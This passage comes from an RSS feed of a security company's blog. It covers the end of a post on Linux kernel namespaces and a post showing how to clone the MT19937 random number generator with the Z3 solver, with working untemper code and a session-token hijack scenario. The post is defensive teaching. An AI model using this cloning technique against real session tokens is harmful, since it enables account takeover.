&lt;/code>&lt;/pre>&lt;/div>&lt;p>The call to &lt;code>utsname&lt;/code> is being used in namespace aware versions of the &lt;code>gethostname&lt;/code> call to determine the desired hostname value using the &lt;code>nsproxy&lt;/code> kernel structure mentioned above:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-c" data-lang="c">&lt;span style="color:#6ab825;font-weight:bold">static&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">inline&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> new_utsname *&lt;span style="color:#447fcf">utsname&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span>)
{
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &amp;amp;current-&amp;gt;nsproxy-&amp;gt;uts_ns-&amp;gt;name;
}
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Upon creating a child process, the elements of the &lt;code>nsproxy&lt;/code> structure will be copied as the child will reside in the exact same namespaces the parent lives in. This can be observed in the &lt;code>copy_process&lt;/code> function called in &lt;code>do_fork&lt;/code>. By using &lt;code>copy_namespaces&lt;/code>, the members of the parent&amp;rsquo;s &lt;code>nsproxy&lt;/code> structure are being duplicated:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-c" data-lang="c">&lt;span style="color:#6ab825;font-weight:bold">static&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> nsproxy *&lt;span style="color:#447fcf">create_new_namespaces&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">unsigned&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">long&lt;/span> flags,
&lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> task_struct *tsk, &lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> user_namespace *user_ns,
&lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> fs_struct *new_fs) {
&lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> nsproxy *new_nsp;
&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> err;
&lt;span style="color:#999;font-style:italic">// Create a new namespace proxy
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> new_nsp = create_nsproxy();
[...]
&lt;span style="color:#999;font-style:italic">// Copy the existing UTS namespace (among others)
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> new_nsp-&amp;gt;uts_ns = copy_utsname(flags, user_ns,
tsk-&amp;gt;nsproxy-&amp;gt;uts_ns);
[...]
}
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Upon using &lt;code>unshare&lt;/code>, the &lt;code>ksys_unshare&lt;/code> function is being executed. This calls &lt;code>unshare_nsproxy_namespaces&lt;/code> which effectively leads to the &lt;code>nsproxy&lt;/code> structure being copied, modified according to the &lt;code>unshare&lt;/code> call and replaced as soon as one element of the structure is being modified.&lt;/p>
&lt;p>Every &lt;code>nsproxy&lt;/code> structure contains a &lt;code>count&lt;/code> element. This counter keeps track of how many tasks refer to the same &lt;code>nsproxy&lt;/code>. After a task terminates, the &lt;code>count&lt;/code> value of the associated &lt;code>nsproxy&lt;/code> gets decremented and in case there&amp;rsquo;s no other task using a specific &lt;code>nsproxy&lt;/code>, it gets freed along with all contained namespaces:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-c" data-lang="c">&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span> &lt;span style="color:#447fcf">free_nsproxy&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> nsproxy *ns) {
&lt;span style="color:#999;font-style:italic">// Check if the namespace is still in use, free if unsued
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (ns-&amp;gt;mnt_ns)
put_mnt_ns(ns-&amp;gt;mnt_ns);
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (ns-&amp;gt;uts_ns)
put_uts_ns(ns-&amp;gt;uts_ns);
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (ns-&amp;gt;ipc_ns)
put_ipc_ns(ns-&amp;gt;ipc_ns);
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (ns-&amp;gt;pid_ns_for_children)
put_pid_ns(ns-&amp;gt;pid_ns_for_children);
put_cgroup_ns(ns-&amp;gt;cgroup_ns);
put_net(ns-&amp;gt;net_ns);
kmem_cache_free(nsproxy_cachep, ns);
}
&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>put_*_ns&lt;/code> functions seen above are responsible for destroying unused namespaces of a specific type. Of course, this only happens in case no other task uses the particular namespace anymore.&lt;/p>
&lt;p>When entering a namespace using &lt;code>setns&lt;/code>, the function &lt;code>switch_task_namespaces&lt;/code> is being used:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-c" data-lang="c">&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span> &lt;span style="color:#447fcf">switch_task_namespaces&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> task_struct *p,
&lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> nsproxy *new) {
&lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> nsproxy *ns;
[...]
&lt;span style="color:#999;font-style:italic">// lock the task before switching namespace
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> task_lock(p);
&lt;span style="color:#999;font-style:italic">// switch namespace
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> ns = p-&amp;gt;nsproxy;
p-&amp;gt;nsproxy = new;
task_unlock(p);
&lt;span style="color:#999;font-style:italic">// delete the old namespace proxy if unused
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (ns &amp;amp;&amp;amp; atomic_dec_and_test(&amp;amp;ns-&amp;gt;count))
free_nsproxy(ns);
}
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Moving a task to a specific namespace can be as simple as setting the respective pointers of the &lt;code>nsproxy&lt;/code> structure.&lt;/p>
&lt;h2 id="usage-in-containerization">Usage in Containerization&lt;/h2>
&lt;p>Both LXC and Docker apply a standard namespace configuration in case no further configuration is supplied. This involves setting up a new namespace for each type that has been discussed in this chapter and that&amp;rsquo;s also supported by the kernel. Specific namespace configuration can be applied using the Docker CLI and LXC configuration files.&lt;/p>
&lt;p>Additional configuration may include supplying a specific namespace a container is joining. For example, the &lt;code>--net=host&lt;/code> option disables creating a new network namespace for a Docker container, allowing it to join the initial network namespace. Therefore no network isolation is in place and for instance &lt;code>localhost&lt;/code> in a container points to &lt;code>localhost&lt;/code> of the host, creating a behavior as if a process is running without containerization in regard to its available network environment. This allows flexible setups by allowing the user to choose the isolated resources freely.&lt;/p>
&lt;p>Docker configures user namespaces in a way that maps a non-existent UID as &lt;code>root&lt;/code> in a container. Therefore, escalating to another user namespace by abusing a potential vulnerability does not add any privileges [2]. This is being performed by using the &lt;code>/etc/sub{u, g}id&lt;/code> files. By creating a &lt;em>subordinate&lt;/em> ID mapping in these files, a range of non-existing IDs is assigned to each real user of the host. This ensures that the ranges do not overlap and are in fact disjunct. Using this range non-existing users are being mapped into a container, starting from a zero value which corresponds to &lt;code>root&lt;/code>.&lt;/p>
&lt;h2 id="next-post-in-series">Next post in series&lt;/h2>
&lt;ul>
&lt;li>Continue reading the next article in this series &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;br/> Follow us on &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://twitter.com/Schutzwerk"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Twitter&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.linkedin.com/company/schutzwerk/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">LinkedIn&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.xing.com/companies/schutzwerkgmbh/updates"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Xing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to stay up-to-date.&lt;/li>
&lt;/ul>
&lt;h2 id="credits">Credits&lt;/h2>
&lt;p>&lt;em>Credits: The elaboration and software project associated to this subject are results of a Master&amp;rsquo;s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.&lt;/em>&lt;/p>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.cl.cam.ac.uk/~lc525/files/Linux_Containers.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">1&lt;/span>
&lt;/a>&lt;a
href="https://www.cl.cam.ac.uk/~lc525/files/Linux_Containers.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://www.cl.cam.ac.uk/~lc525/files/Linux_Containers.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.cl.cam.ac.uk/~lc525/files/Linux_Containers.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Containers:&lt;/span>
&lt;/a>&lt;a
href="https://www.cl.cam.ac.uk/~lc525/files/Linux_Containers.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Basic&lt;/span>
&lt;/a>&lt;a
href="https://www.cl.cam.ac.uk/~lc525/files/Linux_Containers.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Concepts&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://docs.docker.com/engine/security/userns-remap/#disable-namespace-remapping-for-a-container#disable-namespace-remapping-for-a-container"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2&lt;/span>
&lt;/a>&lt;a
href="https://docs.docker.com/engine/security/userns-remap/#disable-namespace-remapping-for-a-container#disable-namespace-remapping-for-a-container"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://docs.docker.com/engine/security/userns-remap/#disable-namespace-remapping-for-a-container#disable-namespace-remapping-for-a-container"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Isolate&lt;/span>
&lt;/a>&lt;a
href="https://docs.docker.com/engine/security/userns-remap/#disable-namespace-remapping-for-a-container#disable-namespace-remapping-for-a-container"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">containers&lt;/span>
&lt;/a>&lt;a
href="https://docs.docker.com/engine/security/userns-remap/#disable-namespace-remapping-for-a-container#disable-namespace-remapping-for-a-container"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">with&lt;/span>
&lt;/a>&lt;a
href="https://docs.docker.com/engine/security/userns-remap/#disable-namespace-remapping-for-a-container#disable-namespace-remapping-for-a-container"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://docs.docker.com/engine/security/userns-remap/#disable-namespace-remapping-for-a-container#disable-namespace-remapping-for-a-container"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">user&lt;/span>
&lt;/a>&lt;a
href="https://docs.docker.com/engine/security/userns-remap/#disable-namespace-remapping-for-a-container#disable-namespace-remapping-for-a-container"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">namespace&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://unsplash.com/photos/hqGfTe2Ri9s"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Title&lt;/span>
&lt;/a>&lt;a
href="https://unsplash.com/photos/hqGfTe2Ri9s"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Image&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
by &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://unsplash.com/@francesco_ungaro"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Francesco&lt;/span>
&lt;/a>&lt;a
href="https://unsplash.com/@francesco_ungaro"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Ungaro/Unsplash&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul></description></item><item><title>Attacking a random number generator</title><link>https://www.schutzwerk.com/en/blog/attacking-a-rng/</link><author>Dr. Henning Kopp</author><pubDate>Mon, 12 Oct 2020 09:14:16 +0200</pubDate><category>cryptography</category><category>attacks</category><description>
&lt;p>In software dealing with security, randomness is often necessary to
generate keys or tokens for resetting passwords or identifying
sessions.
There, randomness is required to be unpredictable for an attacker.
However, sometimes developers
do not use cryptographically secure pseudo random number generators
(CSPRNG) in this scenario. Instead, they utilize faster pseudorandom number generators (PRNG)
which are usually used for Monte-Carlo simulations.
These PRNGs, such as Python&amp;rsquo;s random.random() do not offer
unpredictability and are random in the sense of no
statistical relationships between their outputs.&lt;/p>
&lt;p>Consequently, the question arises how hard it is to attack a common (not
cryptographically secure) random number generator.
We focus on analyzing the Mersenne Twister MT19937 which is
the most widely used PRNG.
Our approach uses an SMT solver to clone a given
instance of MT19937 given 624 consecutive outputs.
This attack succeeds in under ten seconds on commodity hardware.
Therefore, we conclude that using a PRNG where a CSPRNG is needed
represents a significant risk and may be
easily exploitable.&lt;/p>
&lt;h2 id="introduction">Introduction&lt;/h2>
&lt;p>In statistical programming, say for Monte-Carlo simulations, random numbers are
needed to simulate random events. To achieve this, usually
so-called pseudorandom number generators (PRNGs) are used. Contrary to
their name these are not
random but deterministic algorithms depending on a starting value
(seed) that outputs a sequence of numbers that &amp;lsquo;behave
randomly&amp;rsquo;. In particular, the output sequence should be distributed uniformly and
have no trivial relationships.
This is sufficient for numerical simulations, as numerical simulations do not interact with the PRNG in an adversarial fashion.
However, in the case of cryptography this is not enough as an attacker will try to attack the PRNG in order to, e.g., steal money or forge signatures.
In cryptography, randomness is important for various tasks such as generating keys for encryption or TLS sessions.
The notion of randomness in the field of cryptography is used in
the sense that
the outputs should be unpredictable. This additional requirement is usually not covered for common
PRNGs.&lt;/p>
&lt;p>When auditing a code base from a security standpoint, a common
mistake is the usage of a PRNG instead of a cryptographically secure pseudorandom
number (CSPRNG).
This may be due to a lack of knowledge of the developer or because PRNGs are usually
more efficient than CSPRNGs.
The usage of a PRNG instead of a CSRPNG is easy to detect given access
to the source code, but the
associated risk is well-understood only in the cryptographic community.
Therefore, we want to show how easy it is to break a PRNG.
For this purpose, we provide code to clone an instance of MT19937 &amp;ndash; by
far the most widely used PRNG &amp;ndash; given 624 consecutive outputs.&lt;/p>
&lt;p>A possible attack scenario is as follows. Assume &lt;!-- Assuming --> a web server uses MT19937 for
generating session tokens. An attacker can query the
server for a sequence of 624 outputs by repeatedly logging in and out
and recording the session tokens. &lt;!-- Assuming [...], an attacker ...: instead of two seperate sentences? -->
From these outputs the attacker may be able to clone the PRNG and generate
the next outputs and consequently the next session tokens.
As a result, the attacker is able to hijack all future sessions as
long as its cloned PRNG is manually synchronized with the PRNG on the server.&lt;/p>
&lt;h2 id="preliminaries">Preliminaries&lt;/h2>
&lt;p>Our analysis focuses on the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://en.wikipedia.org/wiki/Mersenne_Twister"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Mersenne&lt;/span>
&lt;/a>&lt;a
href="https://en.wikipedia.org/wiki/Mersenne_Twister"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Twister&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.
This is the most widely used pseudorandom number generator (PRNG).
We focus on the version MT19937, which has a period of 2^19937−1.
It is used by default in many libraries and programs such as PHP, Python, Ruby,
Microsoft Excel, and many more.&lt;/p>
&lt;p>Note that even though Python uses MT19937 internally, we reimplement it in pure Python.
The implementation that is actually used in Python is done within a C module (see
&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/python/cpython/blob/3.8/Modules/_randommodule.c"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">https:/&lt;/span>
&lt;/a>&lt;a
href="https://github.com/python/cpython/blob/3.8/Modules/_randommodule.c"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">/&lt;/span>
&lt;/a>&lt;a
href="https://github.com/python/cpython/blob/3.8/Modules/_randommodule.c"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">github.com/&lt;/span>
&lt;/a>&lt;a
href="https://github.com/python/cpython/blob/3.8/Modules/_randommodule.c"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">python/&lt;/span>
&lt;/a>&lt;a
href="https://github.com/python/cpython/blob/3.8/Modules/_randommodule.c"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">cpython/&lt;/span>
&lt;/a>&lt;a
href="https://github.com/python/cpython/blob/3.8/Modules/_randommodule.c"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">blob/&lt;/span>
&lt;/a>&lt;a
href="https://github.com/python/cpython/blob/3.8/Modules/_randommodule.c"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">3.8/&lt;/span>
&lt;/a>&lt;a
href="https://github.com/python/cpython/blob/3.8/Modules/_randommodule.c"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Modules/&lt;/span>
&lt;/a>&lt;a
href="https://github.com/python/cpython/blob/3.8/Modules/_randommodule.c"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">_randommodule.c&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
).
While our attack works on Pythons random.random(), the presentation of
the attack is more straightforward when attacking a reimplementation of
MT19937 in pure Python.&lt;/p>
&lt;p>The Mersenne Twister MT19937 has an internal state consisting of 624 32-bit
integers which is periodically updated. Additionally, the Mersenne
Twister contains some static parameters.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-Python" data-lang="Python">&lt;span style="color:#6ab825;font-weight:bold">class&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">mersenne_rng&lt;/span>(&lt;span style="color:#24909d">object&lt;/span>):
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> __init__(self, seed=&lt;span style="color:#3677a9">5489&lt;/span>):
self.state = [&lt;span style="color:#3677a9">0&lt;/span>]*&lt;span style="color:#3677a9">624&lt;/span>
self.f = &lt;span style="color:#3677a9">1812433253&lt;/span>
self.m = &lt;span style="color:#3677a9">397&lt;/span>
self.u = &lt;span style="color:#3677a9">11&lt;/span>
self.s = &lt;span style="color:#3677a9">7&lt;/span>
self.b = &lt;span style="color:#3677a9">0x9D2C5680&lt;/span>
self.t = &lt;span style="color:#3677a9">15&lt;/span>
self.c = &lt;span style="color:#3677a9">0xEFC60000&lt;/span>
self.l = &lt;span style="color:#3677a9">18&lt;/span>
self.index = &lt;span style="color:#3677a9">624&lt;/span>
self.lower_mask = (&lt;span style="color:#3677a9">1&lt;/span> &amp;lt;&amp;lt; &lt;span style="color:#3677a9">31&lt;/span>)-&lt;span style="color:#3677a9">1&lt;/span>
self.upper_mask = &lt;span style="color:#3677a9">1&lt;/span> &amp;lt;&amp;lt; &lt;span style="color:#3677a9">31&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
&lt;p>After an output is requested, one of the internal state
integers is updated.
As MT19937 is a generalized feedback shift register, the integer is
updated by assigning a function of the other
state variables to it.
This state update is called twisting and is shown below.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-Python" data-lang="Python">&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">twist&lt;/span>(self):
&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> i &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> &lt;span style="color:#24909d">range&lt;/span>(&lt;span style="color:#3677a9">624&lt;/span>):
temp = self.int_32(
(self.state[i] &amp;amp; self.upper_mask)+(self.state[(i+&lt;span style="color:#3677a9">1&lt;/span>) % &lt;span style="color:#3677a9">624&lt;/span>] &amp;amp; self.lower_mask))
temp_shift = temp &amp;gt;&amp;gt; &lt;span style="color:#3677a9">1&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> temp % &lt;span style="color:#3677a9">2&lt;/span> != &lt;span style="color:#3677a9">0&lt;/span>:
temp_shift = temp_shift ^ &lt;span style="color:#3677a9">0x9908b0df&lt;/span>
self.state[i] = self.state[(i+self.m) % &lt;span style="color:#3677a9">624&lt;/span>] ^ temp_shift
self.index = &lt;span style="color:#3677a9">0&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
&lt;p>The output of MT19937 is computed by applying a function on a single state integer.
This function is usually called temper.
It implements a multiplication
of a state bit with a tempered matrix to improve the statistical
properties of the output.
In particular, the purpose of transforming an internal state integer
to an output by tempering is not performed to increase security.
The temper function is shown below.&lt;/p>
&lt;p>&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-Python" data-lang="Python">&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">temper&lt;/span>(self, in_value):
y = in_value
y = y ^ (y &amp;gt;&amp;gt; self.u)
y = y ^ ((y &amp;lt;&amp;lt; self.s) &amp;amp; self.b)
y = y ^ ((y &amp;lt;&amp;lt; self.t) &amp;amp; self.c)
y = y ^ (y &amp;gt;&amp;gt; self.l)
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> y&lt;/code>&lt;/pre>&lt;/div>
&lt;br>&lt;/p>
&lt;h2 id="the-attack">The Attack&lt;/h2>
&lt;p>As each output is a tempered state integer, the outputs correspond to
the internal state of MT19937. The tempering function can be
computationally inverted, in the sense that a preimage can be found.
Consequently, we can recover an internal state that would produce the same sequence of outputs.
Note that we cannot find &amp;lsquo;the&amp;rsquo; preimage as tempering is not injective.
Thus, if we have 624 outputs we can &amp;lsquo;untemper&amp;rsquo; them and get the (a)
complete internal state of MT19937.
We implement the untempering by using the SMT solver &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/Z3Prover/z3"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Z3&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.
An SMT solver is basically a program that can solve equations in a
satisfiability modulo theory. Our approach uses a system of equations
with bit vectors in order to untemper the output, as shown below.&lt;/p>
&lt;p>&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-Python" data-lang="Python">&lt;span style="color:#6ab825;font-weight:bold">from&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">z3&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> *
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">untemper&lt;/span>(out):
&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&amp;#34;
&lt;/span>&lt;span style="color:#ed9d13"> This is the untemper function, i.e., the inverse of temper. This
&lt;/span>&lt;span style="color:#ed9d13"> is solved automatically using the SMT solver Z3. I could probably
&lt;/span>&lt;span style="color:#ed9d13"> do it by hand, but there is a certain elegance in untempering symbolically.
&lt;/span>&lt;span style="color:#ed9d13"> &amp;#34;&amp;#34;&amp;#34;&lt;/span>
y1 = BitVec(&lt;span style="color:#ed9d13">&amp;#39;y1&amp;#39;&lt;/span>, &lt;span style="color:#3677a9">32&lt;/span>)
y2 = BitVec(&lt;span style="color:#ed9d13">&amp;#39;y2&amp;#39;&lt;/span>, &lt;span style="color:#3677a9">32&lt;/span>)
y3 = BitVec(&lt;span style="color:#ed9d13">&amp;#39;y3&amp;#39;&lt;/span>, &lt;span style="color:#3677a9">32&lt;/span>)
y4 = BitVec(&lt;span style="color:#ed9d13">&amp;#39;y4&amp;#39;&lt;/span>, &lt;span style="color:#3677a9">32&lt;/span>)
y = BitVecVal(out, &lt;span style="color:#3677a9">32&lt;/span>)
s = Solver()
equations = [
y2 == y1 ^ (LShR(y1, &lt;span style="color:#3677a9">11&lt;/span>)),
y3 == y2 ^ ((y2 &amp;lt;&amp;lt; &lt;span style="color:#3677a9">7&lt;/span>) &amp;amp; &lt;span style="color:#3677a9">0x9D2C5680&lt;/span>),
y4 == y3 ^ ((y3 &amp;lt;&amp;lt; &lt;span style="color:#3677a9">15&lt;/span>) &amp;amp; &lt;span style="color:#3677a9">0xEFC60000&lt;/span>),
y == y4 ^ (LShR(y4, &lt;span style="color:#3677a9">18&lt;/span>))
]
s.add(equations)
s.check()
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> s.model()[y1].as_long()&lt;/code>&lt;/pre>&lt;/div>
&lt;br>&lt;/p>
&lt;h2 id="observations">Observations&lt;/h2>
&lt;p>Even though we used an SMT solver which is usually considered slow
for cloning an instance of MT19937, the running time is practical. On a current Lenovo Thinkpad laptop
cloning takes under ten seconds. Of course optimizations are
possible, but ten seconds is usually fast enough for an attack.&lt;/p>
&lt;p>Interestingly, the tempering function is not injective. This means
that multiple internal states produce the same sequence of outputs.
When we clone MT19937 we do not necessarily get the same internal
state, but we can get a different state that produces the same
sequence of outputs. The future outputs of both, the cloned and the
original Mersenne Twister are the same.&lt;/p>
&lt;p>We tried computing the seed from these states, but some of these
states do not correspond to a seed at all. Consequently, seed recovery
from the internal state integers is hard and should instead be done directly from the
outputs. Fortunately, a full seed
recovery is often not necessary,
as for most scenarios it is enough to clone the generator. The
generated outputs of the cloned MT19937 are the same as for the
original MT19937.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>We showed that it is practical to clone a PRNG. Consequently, when
developing software, care should be taken to use a CSPRNG when
necessary. CSPRNGs produce outputs that are unpredictable under an
appropriate attacker model, whereas PRNGs are optimized for speed.&lt;/p>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>The implementation of MT19937 that we used:
&lt;a href="https://github.com/james727/MTP">https://github.com/james727/MTP&lt;/a>&lt;/li>
&lt;li>Cloning MT19937 is one of the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://cryptopals.com/sets/3/challenges/23"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">cryptopals&lt;/span>
&lt;/a>&lt;a
href="https://cryptopals.com/sets/3/challenges/23"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">challenges&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. Consequently
there are other solutions to this problem out on the Internet such
as &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://blog.infosectcbr.com.au/2019/08/cryptopals-challenge-23-clone-mt19937.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">this&lt;/span>
